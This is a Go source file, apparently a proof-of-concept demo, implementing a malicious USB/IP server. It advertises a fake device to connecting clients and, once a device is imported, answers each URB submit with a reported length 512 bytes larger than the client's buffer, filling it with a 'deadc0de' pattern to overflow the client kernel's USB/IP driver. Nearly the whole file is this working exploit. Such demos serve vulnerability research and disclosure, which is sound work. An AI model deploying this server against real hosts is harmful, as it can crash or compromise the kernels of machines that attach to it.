-
-
Notifications
You must be signed in to change notification settings - Fork 2
/
usbip_protocol.go
299 lines (251 loc) · 6.22 KB
/
usbip_protocol.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
package uboatdemo
// https://www.kernel.org/doc/Documentation/usb/usbip_protocol.txt
import (
"bytes"
"encoding/binary"
"encoding/hex"
"log"
"net"
)
const (
USBIP_STATUS_OK = 0
OP_REQ_DEVLIST = 0x8005
OP_REP_DEVLIST = 0x0005
OP_REQ_IMPORT = 0x8003
OP_REP_IMPORT = 0x0003
USBIP_CMD_SUBMIT = 0x00000001
USBIP_RET_SUBMIT = 0x00000003
USBIP_CMD_UNLINK = 0x00000002
USBIP_RET_UNLINK = 0x00000004
USBIP_MESSAGE_SIZE = 48
FAKE_DEVICE_PATH = "/sys/fake/dangerous/usbipdemo"
FAKE_BUS_ID = "1-1"
FAKE_VENDOR_ID = 0xDEAD
FAKE_PRODUCT_ID = 0xBEEF
// emulating USB 2.0 high speed device
USB_SPEED_HIGH = 3
// how much to try to overflow
OVERFLOW_SIZE = 512
)
var (
URB_DATA_PATTERN, _ = hex.DecodeString("deadc0de")
)
// common header for non-URB messages (coming from userspace)
type usbipHdr struct {
Version uint16
CmdCode uint16
Status uint32
}
// response to device list request (supports only 1 device for demo)
type devListResp struct {
Hdr usbipHdr
N uint32
Path [256]byte
BusId [32]byte
BusNum uint32
DevNum uint32
Speed uint32
IdVendor uint16
IdProduct uint16
BcdDevice uint16
BDeviceClass byte
BDeviceSubClass byte
BDeviceProtocol byte
BConfigurationValue byte
BNumConfigurations byte
BNumInterfaces byte
BInterfaceClass byte
BInterfaceSubClass byte
BInterfaceProtocol byte
Padding byte
}
// response to device import request
type devImportResp struct {
Hdr usbipHdr
Path [256]byte
BusId [32]byte
BusNum uint32
DevNum uint32
Speed uint32
IdVendor uint16
IdProduct uint16
BcdDevice uint16
BDeviceClass byte
BDeviceSubClass byte
BDeviceProtocol byte
BConfigurationValue byte
BNumConfigurations byte
BNumInterfaces byte
}
// common header for URB messages (coming from kernel)
type urbHdr struct {
CmdCode uint32
SeqNum uint32
DevId uint32
Direction uint32
EnpointNum uint32
}
// USBIP_CMD_SUBMIT
type urbCmdSubmit struct {
Hdr urbHdr
TransferFlags uint32
TransferBufLen uint32
StartFrame uint32
NumOfPackets uint32
Interval uint32
Setup [8]byte
}
// USBIP_RET_SUBMIT
type urbRetSubmit struct {
Hdr urbHdr
Status uint32
ActualLen uint32
StartFrame uint32
NumOfPackets uint32
ErrorCnt uint32
Setup [8]byte
}
func sendDeviceList(conn net.Conn, hdr *usbipHdr) {
var resp devListResp
// pretend to be the same USB/IP version just in case
resp.Hdr.Version = hdr.Version
resp.Hdr.CmdCode = OP_REP_DEVLIST
resp.Hdr.Status = USBIP_STATUS_OK
// number of devices (always 1)
resp.N = 1
copy(resp.Path[:], []byte(FAKE_DEVICE_PATH))
copy(resp.BusId[:], []byte(FAKE_BUS_ID))
resp.BusNum = 1
resp.DevNum = 1
resp.IdVendor = FAKE_VENDOR_ID
resp.IdProduct = FAKE_PRODUCT_ID
resp.Speed = USB_SPEED_HIGH
respBuf := bytes.NewBuffer(nil)
err := binary.Write(respBuf, binary.BigEndian, &resp)
if err != nil {
log.Println(err)
conn.Close()
return
}
_, err = conn.Write(respBuf.Bytes())
if err != nil {
log.Println(err)
conn.Close()
return
}
log.Println("sending fake device list")
}
func sendImport(conn net.Conn, hdr *usbipHdr) {
var resp devImportResp
// pretend to be the same USB/IP version just in case
resp.Hdr.Version = hdr.Version
resp.Hdr.CmdCode = OP_REP_IMPORT
resp.Hdr.Status = USBIP_STATUS_OK
copy(resp.Path[:], []byte(FAKE_DEVICE_PATH))
copy(resp.BusId[:], []byte(FAKE_BUS_ID))
resp.BusNum = 1
resp.DevNum = 1
resp.IdVendor = FAKE_VENDOR_ID
resp.IdProduct = FAKE_PRODUCT_ID
resp.Speed = USB_SPEED_HIGH
respBuf := bytes.NewBuffer(nil)
err := binary.Write(respBuf, binary.BigEndian, &resp)
if err != nil {
log.Println(err)
return
}
_, err = conn.Write(respBuf.Bytes())
if err != nil {
log.Println(err)
}
log.Println("fake device is being exported")
}
func fillBuf(buf []byte) {
for i := 0; i < len(buf); i += len(URB_DATA_PATTERN) {
copy(buf[i:], URB_DATA_PATTERN)
}
}
type byteWriter struct {
dst []byte
}
func (b *byteWriter) Write(p []byte) (n int, err error) {
return copy(b.dst, p), nil
}
func urbExchange(conn net.Conn) {
buf := make([]byte, 1500)
for {
_, err := conn.Read(buf)
if err != nil {
log.Println(err)
conn.Close()
return
}
var submit urbCmdSubmit
err = binary.Read(bytes.NewReader(buf), binary.BigEndian, &submit.Hdr)
if err != nil {
log.Println(err)
conn.Close()
return
}
// for the purposes of demo we care about submit command only
if submit.Hdr.CmdCode == USBIP_CMD_SUBMIT {
// log.Println(hex.EncodeToString(buf[:n]))
// read the whole structure
err = binary.Read(bytes.NewReader(buf), binary.BigEndian, &submit)
if err != nil {
log.Println(err)
conn.Close()
return
}
var ret urbRetSubmit
ret.Hdr.CmdCode = USBIP_RET_SUBMIT
ret.Hdr.SeqNum = submit.Hdr.SeqNum
ret.Hdr.DevId = submit.Hdr.DevId
ret.Hdr.Direction = submit.Hdr.Direction
ret.Hdr.EnpointNum = submit.Hdr.EnpointNum
// sending more than the actual buffer can hold
ret.ActualLen = submit.TransferBufLen + OVERFLOW_SIZE
err = binary.Write(&byteWriter{buf}, binary.BigEndian, &ret)
if err != nil {
log.Println(err)
conn.Close()
return
}
fillBuf(buf[USBIP_MESSAGE_SIZE:])
//log.Println(hex.EncodeToString(buf[:USBIP_MESSAGE_SIZE+ret.ActualLen]))
_, err = conn.Write(buf)
if err != nil {
log.Println(err)
}
log.Printf("sending %v bytes, but actual buffer is %v bytes", ret.ActualLen, submit.TransferBufLen)
}
}
}
func handleConnection(conn net.Conn) {
buf := make([]byte, 1500)
for {
_, err := conn.Read(buf)
if err != nil {
log.Println(err)
conn.Close()
return
}
var hdr usbipHdr
err = binary.Read(bytes.NewReader(buf), binary.BigEndian, &hdr)
if err != nil {
log.Println(err)
conn.Close()
return
}
if hdr.CmdCode == OP_REQ_DEVLIST {
sendDeviceList(conn, &hdr)
conn.Close()
return
} else if hdr.CmdCode == OP_REQ_IMPORT {
sendImport(conn, &hdr)
// kernel communication begins here
urbExchange(conn)
break
}
}
}